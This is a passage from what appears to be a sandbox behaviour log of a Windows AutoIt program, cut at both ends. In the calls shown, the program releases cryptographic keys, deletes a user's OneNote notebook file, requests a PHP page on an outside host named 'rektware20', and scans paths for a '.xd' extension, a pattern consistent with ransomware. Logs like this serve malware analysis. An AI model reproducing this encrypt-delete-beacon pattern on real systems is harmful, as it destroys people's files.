| out: lpMsg=0x130ec34) returned 0 [0072.217] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.217] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.217] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.217] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.218] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.218] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.218] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.218] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.218] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.218] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.218] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.218] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.218] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.218] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.218] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.218] WriteFile (in: hFile=0x3bc, lpBuffer=0x17bede0*, nNumberOfBytesToWrite=0x1830, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17bede0*, lpNumberOfBytesWritten=0x130f01c*=0x1830, lpOverlapped=0x0) returned 1 [0072.219] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.219] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.219] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0072.219] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.219] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.219] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0072.219] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0072.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621330, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0072.220] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0072.220] CryptDestroyKey (hKey=0x164c3f0) returned 1 [0072.220] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.220] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.220] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.220] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.220] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.220] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0072.220] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0072.220] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.220] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.220] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0072.220] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.220] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.221] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.221] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.221] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.221] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.221] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.221] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.221] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.221] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.221] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.221] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.221] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0072.221] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.221] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.221] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.221] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.221] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.221] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0072.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0072.222] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0072.222] CryptReleaseContext (hProv=0x17aad58, dwFlags=0x0) returned 1 [0072.222] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.222] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.222] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.222] FreeLibrary (hLibModule=0x74c60000) returned 1 [0072.222] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.222] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.222] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.222] CloseHandle (hObject=0x2ac) returned 1 [0072.222] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.222] CloseHandle (hObject=0x3bc) returned 1 [0072.224] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.224] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.224] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", lpFilePart=0x0) returned 0x53 [0072.224] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\open notebook.onetoc2")) returned 0x20 [0072.224] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c770 [0072.225] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\open notebook.onetoc2")) returned 1 [0072.226] FindNextFileW (in: hFindFile=0x164c770, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0072.226] FindClose (in: hFindFile=0x164c770 | out: hFindFile=0x164c770) returned 1 [0072.226] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.226] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.227] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.227] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.227] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0072.227] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0072.227] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.227] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0072.227] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0072.227] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0072.227] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0072.227] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d48, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d48, lpdwBufferLength=0x130ef8c) returned 1 [0072.227] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0072.227] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0072.228] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0072.229] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0072.229] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0072.229] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0072.229] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291f0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0072.229] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0072.229] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0072.229] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0072.229] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0072.229] CloseHandle (hObject=0x0) returned 0 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OneNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="neNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eNote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Note Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ote Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="te Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Notebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="otebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ebooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="books\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ooks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ks\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="My Notebook\\Quick Notes.one", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y Notebook\\Quick Notes.one", cchCount1=3, 